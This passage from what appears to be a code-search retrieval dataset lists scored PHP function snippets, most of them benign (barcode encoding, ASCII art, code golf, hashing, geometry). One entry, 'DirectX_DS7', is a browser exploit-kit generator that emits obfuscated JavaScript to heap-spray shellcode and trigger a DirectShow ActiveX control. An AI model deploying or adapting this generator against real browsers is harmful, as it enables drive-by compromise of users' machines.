E_BASE256;\n\t\t if (( ($b256Count+1)<$textCount) && ( ($b256Count+1)<$c40Count) ) return E_BASE256;\n\t if (( ($textCount+1)<$asciiCount) && ( ($textCount+1)<$c40Count) && ( ($textCount+1)<$b256Count) ) return E_TEXT;\n\t\t if (( ($c40Count+1)<$asciiCount) && ( ($c40Count+1)<$textCount) && ( ($c40Count+1)<$b256Count) ) return E_C40;\n\n\t }\n\n\t $pos++;\n\n } // while\n\n\n\t// step K, end of data\n\n // round up\n\t$asciiCount=round($asciiCount);\n\t$c40Count=round($c40Count);\n\t$textCount=round($textCount);\n\t$b256Count=round($b256Count);\n\n\n\tif (( $asciiCount<=$c40Count) && ( $asciiCount<=$textCount) && ( $asciiCount<=$b256Count) ) return E_ASCII;\n\tif (( $textCount<$asciiCount) && ( $textCount<$c40Count) && ( $textCount<$b256Count) ) return E_TEXT;\n\tif (( $b256Count<$asciiCount) && ( $b256Count<$textCount) && ( $b256Count<$c40Count) ) return E_BASE256;\n\n\treturn E_C40;\n }", "title": "" }, { "docid": "7bfbce4da9310541999e2e51085029bd", "score": "0.4863743", "text": "function square($size, $dir, $c, array &$map, &$x, &$y, &$minX, &$maxX, &$minY, &$maxY)\n{\n $chars = [\n // array body, arrow head, dx, dy\n [ '|', '^', 0, -1 ], // 'u'p\n [ '-', '>', +1, 0 ], // 'r'ight\n [ '|', 'v', 0, +1 ], // 'd'own\n [ '-', '<', -1, 0 ], // 'l'eft\n ];\n\n // $d is index in $chars that corresponds to the current direction\n $d = strpos('urdl', $dir);\n // $d + $deltaD is the new direction (mod 4)\n // ($d+1)%4 cycles through 'u', 'r', 'd', 'l' (clockwise)\n // ($d+3)%4 cycles through 'u', 'l', 'd', 'r' (clockwise)\n $deltaD = $c == 'c' ? 3 : 1;\n // $ch is the set of chars to use and the offsets to move for the current direction\n $ch = $chars[$d];\n\n // Start with '@'\n $map[$y][$x] = '@';\n\n // The algorithm:\n // draw the start symbol ('@')\n // starting with size 1 until $size-1:\n // | repeat twice\n // | | draw a line of current size-1 in the current direction\n // | | change direction; turn right if draw clockwise or left if draw counter-clockwise\n // | | draw an arrow head (using the new direction)\n // | +---\n // +---\n // draw a line of size $size-1 on the current direction\n // draw the end symbol ('&')\n\n // $s is the current size; from 1 to $size - 1\n for ($s = 1; $s < $size; $s ++) {\n // repeat twice\n for ($k = 0; $k < 2; $k ++) {\n // draw a line of size $s-1\n for ($i = 1; $i < $s; $i ++) {\n // advance to the next position\n $x += $ch[2];\n $y += $ch[3];\n // draw the line character\n $map[$y][$x] = $ch[0];\n }\n\n // advance\n $x += $ch[2];\n $y += $ch[3];\n // change direction\n $d = ($d + $deltaD) % 4;\n $ch = $chars[$d];\n // draw the arrow head\n $map[$y][$x] = $ch[1];\n }\n // update the bounding box\n $minX = min($x, $minX);\n $maxX = max($maxX, $x);\n $minY = min($y, $minY);\n $maxY = max($maxY, $y);\n }\n\n // The last line (size $size - 1)\n for ($i = 1; $i < $s; $i ++) {\n // advance\n $x += $ch[2];\n $y += $ch[3];\n // draw the line\n $map[$y][$x] = $ch[0];\n }\n\n // End with '&'\n $map[$y][$x] = '&';\n}", "title": "" }, { "docid": "72ad7d1a1361d0e3c6b55408e38d4c5b", "score": "0.48520657", "text": "function find_area(){\n\t\t\treturn $this->length * $this->breadth;\n\t\t}", "title": "" }, { "docid": "623f0887064fec464d32157802b34a71", "score": "0.48174664", "text": "function Plus(&$z,$p,$m) {\n\t\t\t$z = ($z + $p) % $m;\n\t\t}", "title": "" }, { "docid": "cbc7f1b4f2c670949ec949bce62c66e9", "score": "0.48122495", "text": "function begin_pattern($width, $height, $xstep, $ystep, $painttype) {}", "title": "" }, { "docid": "8fe0791e4c64a9bb6127f0975520a8f9", "score": "0.4810211", "text": "function palette_picker($root){ return 12+($root%3) ; }", "title": "" }, { "docid": "bff10190996af27932ae9c4bc408b0bc", "score": "0.47971976", "text": "function sc_ex_length(){\n\treturn 30; //words\n}", "title": "" }, { "docid": "2ad912000928d3fd6565ec227b8b2c18", "score": "0.47388992", "text": "function rhombencephalon ($params){\n\n # Hindbrain (rhombencephalon) - portions of the central nervous system in vertebrates that includes the medulla, pons, and cerebellum. Together they support vital bodily processes vital bodily processes\n\n}", "title": "" }, { "docid": "aafa8d1aae4817ba06e0a3dc4f0713eb", "score": "0.47384885", "text": "function BqXwJGK()\n{\n \n}", "title": "" }, { "docid": "837d53eac336a67517aa97d90cb7599f", "score": "0.47231904", "text": "function gol2(){\n\t\t\t\tfor ($i=$GLOBALS['awal']; $i<=$GLOBALS['akhir'] ; $i++) { \n\t\t\t\t\tif ($i%5==0) {\n\t\t\t\t\t\techo \"$i\\t\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "164f2f10c8d973cf8989857059e2789b", "score": "0.47119457", "text": "function paint() {\n\n // paint in the graphics context\n\n $x=$this->leftMarginPixels;\n $y=$this->topMarginPixels;\n\n for ($j1 = 0; $j1 < $this->rows; $j1++)\n for ($i1 = 0; $i1 < $this->cols; $i1++)\n if ($this->bitmap[$i1][$j1] != 0)\n $this->paintDot( \n $x+($this->dotPixels*$i1),\n $y+($this->dotPixels*$j1),\n $this->dotPixels );\n\n}", "title": "" }, { "docid": "59dca5764b1225fcdbf7c8ae67c5250a", "score": "0.46930885", "text": "function golfedDirections_v2(array $argv)\n{\n $b=0;$p=['|'=>'$a[$b].=\"F \";$f[$b]++;','/'=>'$a[$b].=\"R \";','\\\\'=>'$a[$b].=\"L \";','^'=>'$d.=$a[0];$n=2;$a=[\"R \",\"L \"];$f=[];$b=1;','Y'=>'$d.=$a[$f[0]<$f[$n=1]].\"F \";$a=[];','D'=>'$d.=$a[$b];echo(rtrim($d));'];foreach(str_split($argv[$n=1])as$c){if($x=$p[$c]){eval($x);$b=++$b%$n;}}\n}", "title": "" }, { "docid": "af320883cb449fe40b4310f18d684895", "score": "0.4689241", "text": "abstract public function troCap();", "title": "" }, { "docid": "03c0af37cb246b92a3025b6cc36d96bd", "score": "0.4683721", "text": "function getKans1Op()\n{\n return 100000 / $_POST['infected'];\n}", "title": "" }, { "docid": "03c0af37cb246b92a3025b6cc36d96bd", "score": "0.4683721", "text": "function getKans1Op()\n{\n return 100000 / $_POST['infected'];\n}", "title": "" }, { "docid": "f47593637af721962de9f4be8b7a8fa4", "score": "0.46757397", "text": "public function patternToStart() : string;", "title": "" }, { "docid": "f02209acf5e528d3b90ddf98db1e1e60", "score": "0.4666033", "text": "public function calculateSurface()\n {\n return (1 + 1);\n }", "title": "" }, { "docid": "95c3f5cc530caf81e9ff7b908b539f84", "score": "0.46594897", "text": "function DirectX_DS7()\n{\n$O00000OOO = get_random_string_array(rand(6,15), '20');\n$O000000OO = '\ndocument.write(\"<div id=\\\"'. $O00000OOO[9] .'\\\">\");\n \n var '. $O00000OOO[0] .' = ' . _shellcode(\"DirectX_DS\") . ';\n var '. $O00000OOO[1] .' = unescape('. $O00000OOO[0] .');\n var '. $O00000OOO[2] .' = unescape(\"%u9\"+\"090%u9\"+\"09\"+\"0\");\n var '. $O00000OOO[3] .' = 20;\n\tvar '. $O00000OOO[4] .' = '. $O00000OOO[3] .' + '. $O00000OOO[1] .'.length;\n\twhile ('. $O00000OOO[2] .'.length < '. $O00000OOO[4] .') '. $O00000OOO[2] .' += '. $O00000OOO[2] .';\n\tvar '. $O00000OOO[5] .' = '. $O00000OOO[2] .'.substring(0, '. $O00000OOO[4] .');\n\tvar '. $O00000OOO[6] .' = '. $O00000OOO[2] .'.substring(0, '. $O00000OOO[2] .'.length - '. $O00000OOO[4] .');\n\twhile ('. $O00000OOO[6] .'.length + '. $O00000OOO[4] .' < 0x40000) '. $O00000OOO[6] .' = '. $O00000OOO[6] .' + '. $O00000OOO[6] .' + '. $O00000OOO[5] .';\n\tvar '. $O00000OOO[7] .' = new Array();\n\tfor ('. $O00000OOO[8] .' = 0; '. $O00000OOO[8] .' < 350; '. $O00000OOO[8] .'++) { '. $O00000OOO[7] .'['. $O00000OOO[8] .'] = '. $O00000OOO[6] .' + '. $O00000OOO[1] .'}\n\tvar '. $O00000OOO[10] .' = document.createElement(\\'object\\');\n\t'. $O00000OOO[9] .'.appendChild('. $O00000OOO[10] .');\n\t'. $O00000OOO[10] .'.width = \\'1\\';\n\t'. $O00000OOO[10] .'.height = \\'1\\';\n\t'. $O00000OOO[10] .'.data = \\'dx_ds.gif\\';\n\t'. $O00000OOO[10] .'.classid = \\'clsid:8A674B4D-1F63-11D3-B64C-00C04F79498E\\';\t\n\t';\nreturn $O000000OO;\n}", "title": "" }, { "docid": "4c66e09e9ca0b176fedc3bfa4e811d40", "score": "0.46528235", "text": "public function grams();", "title": "" }, { "docid": "68e0d679a93d5007f964092a24e76ddb", "score": "0.4646009", "text": "function ps_setpolydash($psdoc, $lengths) {}", "title": "" }, { "docid": "e67e910aaa31bfd6f09e316c1fb2d546", "score": "0.46453866", "text": "function ps_begin_pattern($psdoc, $width, $height, $xstep, $ystep, $painttype) {}", "title": "" }, { "docid": "fd29cfcc110fa2eeb497012aa8ca91b8", "score": "0.462835", "text": "function print_pattern($num)\n{\nfor ($i = 0; $i < $num; $i++)\n{\n// inner loop handles indentation\nfor($k = $num; $k > $i+1; $k-- )\n{\n// Print spaces\necho \" \";\n}\n// inner loop handles number of stars\nfor($j = 0; $j <= $i; $j++ )\n{\n// Print stars\necho \"* \";\n}\n// go to new line after each row pattern is printed\necho \"<br>\";\n}\n}", "title": "" }, { "docid": "69aa7c790efc3e3104aa6f9b23ac02d6", "score": "0.46268767", "text": "public function obtenerPlus();", "title": "" }, { "docid": "2733a8851036a5d6ecaac50d80d56411", "score": "0.46246302", "text": "public function px ($coor) {\n\n $res = $coor * $this->cell_size + $this->midpt;\n return $res;\n\n}", "title": "" }, { "docid": "a802152625bcca99bdfeb0a4470e9a2a", "score": "0.4623314", "text": "function ps_begin_pattern ($psdoc, $width, $height, $xstep, $ystep, $painttype) {}", "title": "" }, { "docid": "799a80de50d3e3909b4e6b670f51e219", "score": "0.46192902", "text": "function shortcut($source = null, $x1 = 0, $y1 = 0, $x2 = 0, $y2 = 0, $grade = 5)\n {\n if ($source != null)\n {\n $incX = abs($x1-$x2);\n $incY = abs($y1-$y2);\n\n if ($incX != 0 && $incY != 0)\n {\n $pieceTemp = imagecreatetruecolor($incX, $incY);\n imagecopy($pieceTemp, $source, 0, 0, $x1, $y1, $incX, $incY);\n\n //Search the upper limit\n $upperLimit = 0;\n for ($y = 0; $y < $incY; $y++)\n {\n $contador = 0;\n for ($x = 0; $x < $incX; $x++)\n {\n $val = imagecolorat($pieceTemp, $x, $y);\n\n if ($val == 0)\n {\n $contador++;\n }\n }\n\n if ($contador >= $grade)\n {\n $upperLimit = $y;\n break;\n }\n }\n\n //Search the lower limit\n $lowerLimit = 0;\n for ($y = $incY-1; $y >= 0; $y--)\n {\n $contador = 0;\n for ($x = 0; $x < $incX; $x++)\n {\n $val = imagecolorat($pieceTemp, $x, $y);\n\n if ($val == 0)\n {\n $contador++;\n }\n }\n\n if ($contador >= $grade)\n {\n $lowerLimit = $y;\n break;\n }\n }\n\n //Search the left limit\n $leftLimit = 0;\n for ($x = 0; $x < $incX; $x++)\n {\n $contador = 0;\n for ($y = 0; $y < $incY; $y++)\n {\n $val = imagecolorat($pieceTemp, $x, $y);\n\n if ($val == 0)\n {\n $contador++;\n }\n }\n\n if ($contador >= $grade)\n {\n $leftLimit = $x;\n break;\n }\n }\n\n //Search the left limit\n $rightLimit = 0;\n for ($x = $incX-1; $x >= 0; $x--)\n {\n $contador = 0;\n for ($y = 0; $y < $incY; $y++)\n {\n $val = imagecolorat($pieceTemp, $x, $y);\n\n if ($val == 0)\n {\n $contador++;\n }\n }\n\n if ($contador >= $grade)\n {\n $rightLimit = $x;\n break;\n }\n }\n\n $incX = abs($leftLimit-$rightLimit);\n $incY = abs($upperLimit-$lowerLimit);\n\n //Create the image from the limits\n if ($incX != 0 && $incY != 0)\n {\n $piece = imagecreatetruecolor($incX, $incY);\n imagecopy($piece, $pieceTemp, 0, 0, $leftLimit, $upperLimit, $incX, $incY);\n\n imagedestroy($pieceTemp);\n return $piece;\n }\n }\n }\n }", "title": "" }, { "docid": "c961e1e68bd398bbc458752cd640db49", "score": "0.46130154", "text": "function showSomeAction_golfed(array $argv)\n{\n // My original version (160 bytes)\n// $f=str_repeat;$m=$f(' ',$r=60-3*($s=min(max($argv[1],0),20)));$l=$f(' ',$s);$c=$r?_.$m._:'/\\\\';echo\"$l __ $m __\\n{$l}_/ \\\\$c/ \\\\_\\n{$l}o o{$m}o o\\n\";\n\n // Suggested by http://codegolf.stackexchange.com/users/14732/ismael-miguel (156 bytes)\n// $f=str_repeat;$m=$f(' ',$r=60-3*($s=min(max($argv[1],0),20)));echo$l=$f(' ',$s),\" __ $m __\\n{$l}_/ \\\\\",$r?_.$m._:'/\\\\',\"/ \\\\_\\n{$l}o o{$m}o o\\n\";\n\n // Reworked: swapping the initialization of $m and $s allows the removal of one pair of parentheses (155 bytes)\n $f=str_repeat;echo$l=$f(' ',$s=min(max($argv[1],0),20)),\" __ \",$m=$f(' ',$r=60-3*$s),\" __\\n{$l}_/ \\\\\",$r?_.$m._:'/\\\\',\"/ \\\\_\\n{$l}o o{$m}o o\\n\";\n}", "title": "" }, { "docid": "67e9da179060d08f6377a31c6e5ef060", "score": "0.46090928", "text": "function fillBus($radius, $dimx, $dimy, $dimz) {\n\t$ballsx = floor($dimx / 2 / $radius);\n\t$ballsy = floor($dimy / 2 / $radius);\n\t$ballsz = floor($dimz / 2 / $radius);\n\t$result[] = $ballsx * $ballsy * $ballsz;\n# END SIMPLE CUBIC CALCULATION\n\n\n#SOLVE FOR HEXAGONAL CLOSE PACKED\n\t$ballsxa = $dimx / ( 2 * $radius );\n\t$ballsya = floor((( $dimy - 2 * $radius ) / ( $radius * sqrt(3) ) ) + 1);\n\t$ballsz = floor((( $dimz - 2 * $radius ) * 3 / ( 2 * $radius * sqrt(6) ) ) + 1);\n\t$ballsyb = floor((($dimy - 2* $radius - $radius / 3 * sqrt(3)) / ( $radius * sqrt(3))) +1);\n\n\tif ( $ballsxa < round($ballsxa)) {\n\t\t$ballsxa = floor($ballsxa);\n\n\t\t$ba = $ballsxa * $ballsya;\n\t\t$bb = $ballsxa * $ballsyb;\n\t}\n\telse {\n\t\t$ballsxa = floor($ballsxa);\n\n\t\tif ( $odd = $ballsya % 2) {\n\t\t\t$ba = $ballsxa * $ballsya - ( $ballsya - 1 ) / 2;\n\t\t}\n\t\telse {\n\t\t\t$ba = $ballsxa * $ballsya - $ballsya / 2;\n\t\t}\n\n\t\tif ( $odd = $ballsyb % 2 ) {\n\t\t\t$bb = $ballsxa * $ballsyb - ( $ballsyb -1 ) / 2;\n\t\t}\n\t\telse {\n\t\t\t$bb = $ballsxa * $ballsyb - $ballsyb / 2;\n\t\t}\n\t}\n\tif ( $odd = $ballsz % 2) {\n\t\t$result[] = ($ba + $bb) * $ballsz / 2 + $ba;\n\t}\n\telse {\n\t\t$result[] = ($ba + $bb) * $ballsz / 2;\n\t}\n\n\treturn $result;\n}", "title": "" }, { "docid": "5a3aeb78e7fe0a0685cc6ea7eabec62d", "score": "0.46005312", "text": "function getNext () ;", "title": "" }, { "docid": "fce7306343c16fe00381cb83ca97a778", "score": "0.45941326", "text": "function hourglassSum($arr)\n{\n $top = 0;\n for ($y = 0; $y < 4; $y++) {\n for ($x = 0; $x < 4; $x++) {\n $hg =\n $arr[$y][$x] +\n $arr[$y][$x + 1] +\n $arr[$y][$x + 2] +\n $arr[$y + 1][$x + 1] +\n $arr[$y + 2][$x] +\n $arr[$y + 2][$x + 1] +\n $arr[$y + 2][$x + 2];\n if ($hg > $top) {\n $top = $hg;\n }\n }\n }\n return $top;\n}", "title": "" }, { "docid": "d939352b895b80cf08126536c686e984", "score": "0.45871392", "text": "function printstar($n){\n for ($i=$n;$i>0;$i--) {\n echo \"<br>\" . str_repeat('*', $i);\n }\n\n}", "title": "" }, { "docid": "c8b2882c0a08c5b154a1548ec6dc2c90", "score": "0.45833057", "text": "public function arvutaHind(){\n return $this ->hind + $this ->lisand1Hind + $this -> lisand2Hind + $this -> lisand3Hind + $this -> lisand4Hind;\n }", "title": "" }, { "docid": "d0751c962dde196cf90c1967924f93b6", "score": "0.45680344", "text": "function Mc0yDcwiSsL()\n{\n $qoYv = new stdClass();\n $qoYv->DVaQYRU = 'mW';\n $qoYv->Cr = 'aGdSKoak_';\n $qoYv->YM80 = 'Tvfr';\n $ETFQ = new stdClass();\n $ETFQ->BVe9JjM = 'zdQY7dwA1E';\n $ETFQ->rXPUO8f3mz = 'SoE1ou93B';\n $_9m = 'f3Tq6e';\n $U2jGNE = 'UCDZ5';\n $oH = 'o4C1';\n $xvmk = new stdClass();\n $xvmk->i9rPeX81K8 = 'oEs';\n $xvmk->uIE6O6dxrQt = 'FlKlZ';\n $xvmk->KsZv5KCpXx = 'U7wMWE';\n $erknweZp = new stdClass();\n $erknweZp->FWdg = 'qt2';\n $erknweZp->rs6gzour4TM = 'Q9j';\n $erknweZp->rtJtQVlr = 'Zt';\n $erknweZp->d1bOkI_UrdB = 'Cst7Mm';\n $erknweZp->TIcT0J0Ix = 'xh6sU3wPx';\n $erknweZp->h1 = 'l8r7xkH';\n $GjvN6Neqg73 = 'rn';\n $_N1U = 'S1ZhsWmQTG9';\n $bDPyZOmbCd = 'rlL_EWmy4';\n $WAPzds79OQ = 'Tsx3TksW2';\n $TtU1Alfe0lr = 'bi';\n str_replace('i9yg6vg8GusC', 'ra1Qvn71q2lE', $_9m);\n $U2jGNE = $_POST['XhXWwcKtOjBjgK0'] ?? ' ';\n $oH = explode('cCs3Ess0zC', $oH);\n $GjvN6Neqg73 = $_POST['g4IF1O'] ?? ' ';\n $_N1U = $_GET['DhVpMF5l'] ?? ' ';\n $bDPyZOmbCd = $_POST['KmhWGre7vkducWe'] ?? ' ';\n $WAPzds79OQ = explode('EAyQWHsFWfV', $WAPzds79OQ);\n $TtU1Alfe0lr = $_GET['s3BJbo'] ?? ' ';\n \n}", "title": "" }, { "docid": "38b40dfe83361292c02f74117e729011", "score": "0.4565892", "text": "public function aumentarPlus();", "title": "" }, { "docid": "6ededfd01dc39f9a4452dc48155c11fb", "score": "0.45544213", "text": "private function part1String(): string\n {\n $grid = [];\n for ($i = 0; $i < 1000; $i++) {\n $grid[] = str_repeat('0', 1000);\n }\n\n foreach ($this->instructions as $instruction) {\n if ($instruction['action'] === 'toggle') {\n for ($y = $instruction['y1']; $y <= $instruction['y2']; $y++) {\n for ($x = $instruction['x1']; $x <= $instruction['x2']; $x++) {\n $grid[$y][$x] = ($grid[$y][$x] === '1') ? '0' : '1';\n }\n }\n } else {\n $s = $instruction['state'] === 'on' ? '1' : '0';\n $block = str_repeat($s, ($instruction['x2'] - $instruction['x1']) + 1);\n for ($y = $instruction['y1']; $y <= $instruction['y2']; $y++) {\n $grid[$y] = (\n substr($grid[$y], 0, $instruction['x1'])\n . $block\n . substr($grid[$y], $instruction['x2'] + 1)\n );\n }\n\n }\n }\n\n return (string)collect($grid)\n ->map(fn($row) => substr_count($row, '1'))\n ->sum();\n }", "title": "" }, { "docid": "f0ed81872c306ed029df0238d7c7a60d", "score": "0.4551061", "text": "function bai6() {\n $soKeo = 2000 / 200;\n $soKeoThem = $soKeo / 2;\n return $soKeo + $soKeoThem;\n }", "title": "" }, { "docid": "6fb11b9ebdbbdefa23e64f32eaa4da0c", "score": "0.45509163", "text": "function funcs03 ( ) {\n\t\t$this->var16 = $this->var06;\n\t\tfor ( $y = 0; $y < $this->var06; $y ++ ) {\n\t\t\tfor ($x = 0; $x < $this->var06; $x++ ) {\n\t\t\t\t$var0 = ( (float) $x ) / $this->var16;\n\t\t\t\t$var1 = ( (float) $y ) / $this->var16;\n\t\t\t\t$var2 = ( float ) ( 1 - sqrt ( $var0 * $var0 + $var1 * $var1 ) );\n\t\t\t\tif ( $var2 < 0 ) $var2 = 0;\n\t\t\t\t$this->var10 [ $x ] [ $y ] = ( int ) ( $var2 * 0xff );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "66685207c27175c4dbc9d3ff2c0b5402", "score": "0.45297974", "text": "function max_mots()\n{\n\treturn 8;\n}", "title": "" }, { "docid": "d590908458fabe5d92e32352ca30091b", "score": "0.45286906", "text": "function refactored_v1(array $argv)\n{\n $a=$f=[]; // these assignments are not required (they were suppresed in v2)\n $n=1; // this assignment can be squeezed into $argv[$n=1]\n $b=0; // if this assignment is suppressed $b becomes '' and breaks the logic\n $code = [\n '|' => '$a[$b].=\"F \";$f[$b]++;',\n '/' => '$a[$b].=\"R \";',\n '\\\\'=> '$a[$b].=\"L \";',\n '^' => '$d.=$a[0];$n=2;$a=[\"R \",\"L \"];$f=[];$b=1;',\n 'Y' => '$d.=$a[$f[0]<$f[$n=1]].\"F \";$a=[];',\n 'D' => '$d.=$a[$b];echo(rtrim($d));',\n ];\n foreach (str_split($argv[1]) as $char) {\n if ($x = $code[$char]) {\n eval($x);\n $b = ++ $b % $n;\n }\n }\n}", "title": "" }, { "docid": "3b36d4ed684bcd40548058089e22eb3d", "score": "0.452755", "text": "function PDF_arcn($p, $x, $y, $r, $alpha, $beta)\n{\n}", "title": "" }, { "docid": "fb5d43a4ee1f646c63db6a6f8a753695", "score": "0.45172286", "text": "public function getNext()\n\t{\n\t\t$this->mz = 36969 * ($this->mz & 65535) + ($this->mz >> 16);\n\t\tif($this->mz > 0x7FFFFFFF)\n\t\t\t$this->mz = -(0xFFFFFFFF - $this->mz + 1);\n\n\t\t$this->mw = 18000 * ($this->mw & 65535) + ($this->mw >> 16);\n\t\tif($this->mw > 0x7FFFFFFF)\n\t\t\t$this->mw = -(0xFFFFFFFF - $this->mw + 1);\n\n\t\t//return ($this->mz << 16) + $this->mw;\n\n\t\t$r = ($this->mz << 16) & 0xFFFF0000;\n\t\tif($r > 0x7FFFFFFF)\n\t\t\t$r = -(0xFFFFFFFF - $r + 1);\n\n\t\t$r += $this->mw;\n\t\tif($r > 0x7FFFFFFF)\n\t\t\t$r = -(0xFFFFFFFF - $r + 1);\n\n\t\treturn ($r & 0xFFFFFFFF);\n\t}", "title": "" }, { "docid": "181b72badc2426e7c6bea95f64b0fc69", "score": "0.4517187", "text": "function enkripsi($plain, $n, $e){\r\n//Pesan dikodekan menjadi kode ASCII, Kemudian di Enkripsi Per Karakter\r\n\t$hasil='';\r\n for($i=0; $i<strlen($plain); ++$i){\r\n //Rumus Enkripsi ---> ChiperTeks = <pesan>^<e>mod<n>\r\n $hasil.=gmp_strval(gmp_mod(gmp_pow(ord($plain[$i]),$e),$n));\r\n //Antar Tiap Karakter dipisahkan dengan \"+\"\r\n if($i!=strlen($plain)-1){\r\n $hasil.=\"+\";\r\n }\r\n }\r\n\t\r\nreturn $hasil;\r\n}", "title": "" }, { "docid": "139d980b71e43c7552fc4b70673c0d9c", "score": "0.4514087", "text": "function hexPoints($start) {\n $points = [$start];\n list($x, $y) = explode(',', $start);\n\n $points[] = ($x+260) . ',' . ($y+150);\n $points[] = ($x+260) . ',' . ($y+450);\n $points[] = ($x) . ',' . ($y+600);\n $points[] = ($x-260) . ',' . ($y+450);\n $points[] = ($x-260) . ',' . ($y+150);\n\n return implode(' ', $points);\n}", "title": "" }, { "docid": "c7a37236bc7014145e328fb8e305d86d", "score": "0.45046037", "text": "function sha1_core($x, $len)\n{\n\t@$x[$len >> 5] |= 0x80 << (24 - $len % 32);\n\t$x[(($len + 64 >> 9) << 4) + 15] = $len;\n\n\t$w = array();\n\t$a = 1732584193;\n\t$b = -271733879;\n\t$c = -1732584194;\n\t$d = 271733878;\n\t$e = -1009589776;\n\n\tfor ($i = 0, $n = count($x); $i < $n; $i += 16)\n\t{\n\t\t$olda = $a;\n\t\t$oldb = $b;\n\t\t$oldc = $c;\n\t\t$oldd = $d;\n\t\t$olde = $e;\n\n\t\tfor ($j = 0; $j < 80; $j++)\n\t\t{\n\t\t\tif ($j < 16)\n\t\t\t\t$w[$j] = isset($x[$i + $j]) ? $x[$i + $j] : 0;\n\t\t\telse\n\t\t\t\t$w[$j] = sha1_rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);\n\n\t\t\t$t = sha1_rol($a, 5) + sha1_ft($j, $b, $c, $d) + $e + $w[$j] + sha1_kt($j);\n\t\t\t$e = $d;\n\t\t\t$d = $c;\n\t\t\t$c = sha1_rol($b, 30);\n\t\t\t$b = $a;\n\t\t\t$a = $t;\n\t\t}\n\n\t\t$a += $olda;\n\t\t$b += $oldb;\n\t\t$c += $oldc;\n\t\t$d += $oldd;\n\t\t$e += $olde;\n\t}\n\n\treturn sprintf('%08x%08x%08x%08x%08x', $a, $b, $c, $d, $e);\n}", "title": "" }, { "docid": "d7a110af37dcea6a3b7810a770556872", "score": "0.44988146", "text": "function prom($Adios){\n $arrlenght = count($Adios);\n $promedio=0;\n\n for($x=0; $x<$arrlenght; $x++ ){\n $promedio += $Adios[$x];\n\n }\n $promedio = $promedio/$arrlenght;\n return $promedio;\n\n\n }", "title": "" }, { "docid": "bfa94f464aea60aa1406f1cf5c3af613", "score": "0.44917583", "text": "function prat($text) // prat for pratyAhAra\n{\nglobal $shiv; \nif ($text === \"ra\") // for circumventing the imaginary ra pratyAhAra\n{\n$text = array(\"r\",\"l\");\n} \nelseif ($text === \"yR\") // for circumventing the yaN pratyAhAra because of problem of double N\n{\n$text = array(\"y\",\"y\",\"v\",\"v\",\"r\",\"r\",\"l\",\"l\");\n}\nelse\n{\n$a = str_split($text);\n$a[1] = str_replace($a[1],\"-\".$a[1],$a[1]); \n$text = array_slice($shiv,array_search($a[0],$shiv),array_search($a[1],$shiv)-array_search($a[0],$shiv)+1); \n$b = implode(\" \",$text);\n$b = str_replace(\" -R\",\"\",$b);\n$b = str_replace(\" -k\",\"\",$b);\n$b = str_replace(\" -N\",\"\",$b);\n$b = str_replace(\" -c\",\"\",$b);\n$b = str_replace(\" -w\",\"\",$b);\n$b = str_replace(\" -m\",\"\",$b);\n$b = str_replace(\" -Y\",\"\",$b);\n$b = str_replace(\" -z\",\"\",$b);\n$b = str_replace(\" -S\",\"\",$b);\n$b = str_replace(\" -v\",\"\",$b);\n$b = str_replace(\" -y\",\"\",$b);\n$b = str_replace(\" -r\",\"\",$b);\n$b = str_replace(\" -l\",\"\",$b);\n$b = str_replace(\"a\",\"a A\",$b);\n$b = str_replace(\"i\",\"i I\",$b);\n$b = str_replace(\"u\",\"u U\",$b);\n$b = str_replace(\"f\",\"f F\",$b);\n$b = str_replace(\"x\",\"x X\",$b);\n$b = str_replace(\"y\",\"y y\",$b);\n$b = str_replace(\"v\",\"v V\",$b);\n$b = str_replace(\"r\",\"r r\",$b);\n$b = str_replace(\"l\",\"l l\",$b);\n$text = explode(\" \",$b);\n}\nreturn $text;\n}", "title": "" }, { "docid": "a001285f95873e657fd890401c09dc71", "score": "0.44908765", "text": "function total_lesser() {\n\t\t\n\t}", "title": "" }, { "docid": "d3080ef3a704bf40997a44c3b56f20f7", "score": "0.44863018", "text": "function print_pattern1($num)\n{\n// Outer loop handles number of rows\nfor ($i = 0; $i < $num; $i++)\n{\n// inner loop handles indentation\nfor($k = $num; $k > $i+1; $k-- )\n{\n// Print spaces\necho \" \";\n}\n// inner loop handles number of stars\nfor($j = 0; $j <= $i; $j++ )\n{\n// Print stars\necho \"* \";\n}\n// go to new line after each row pattern is printed\necho \"<br>\";\n}\n// The Lower Half Pattern\n// Outer loop handles number of rows\nfor ($i = $num-1; $i > 0; $i--)\n{\n// inner loop handles indentation\nfor($k = $num-1; $k >= $i; $k-- )\n{\n// Print spaces\necho \" \";\n}\n// inner loop handles number of stars\nfor($j = 0; $j < $i; $j++ )\n{\n// Print stars\necho \"* \";\n}\n// go to new line after each row pattern is printed\necho \"<br>\";\n}\n}", "title": "" }, { "docid": "3629ca4294418673da1112b858de1df7", "score": "0.4483942", "text": "public function swim(){\n\t\treturn \"We all float down here.\";\n\t}", "title": "" }, { "docid": "ec0131600fe3bd002e8fdd1c165f90f6", "score": "0.44830936", "text": "function nrof_elements() {\n\t\t\treturn 1 + 1 + $this->directorylistsize + $this->filelistsize;\n\t\t}", "title": "" }, { "docid": "1bc2f9ca53084eb34a420d690981cf52", "score": "0.44773325", "text": "function afficheConstantes ($res=null) {\n echo \"lambdac=\",$this->lambdac,($res?\" / \".$res['lambdac']:''),\"\\n\";\n echo \"n=\",$this->n,($res?\" / \".$res['n']:''),\"\\n\";\n echo \"C=\",$this->C,($res?\" / \".$res['C']:''),\"\\n\";\n echo \"Xs=\",$this->Xs,($res?\" / \".$res['Xs']:''),\"\\n\";\n echo \"Ys=\",$this->Ys,($res?\" / \".$res['Ys']:''),\"\\n\";\n }", "title": "" }, { "docid": "65f028fff15693dbdc3e90a45a2caef0", "score": "0.44614148", "text": "public function startSquareBrackets();", "title": "" }, { "docid": "eb09889ac737fb7a62ed2b8d0166fead", "score": "0.445884", "text": "static function umx_manu_draw($out,$r,$b){\n$w=800; $h=300; $mx=$my=40; $im=imagecreate($w+$mx,$h+$my);\n[$white,$black,$red,$green,$blue,$yellow]=img::clrpack($im);\n$font=imageloadfont('gdf/Fixedsys.gdf');\nImageFilledRectangle($im,0,0,$w,$h,$white);\n//foreach($r as $k=>$v)\n$max1=max($r['imoo']); $max2=max($r['woam']); $max=$max1>$max2?$max1:$max2; $ratiox=$w/$max;\n$n=count($r['imoo']); $ratioy=$h/$n;\n//$rc=self::umx_clr($r['imoo']); $rc=array_reverse($rc); //pr($rc);\n//verbose([$max,$n,$w,$ratio]);\n$n=count($r['imoo']); 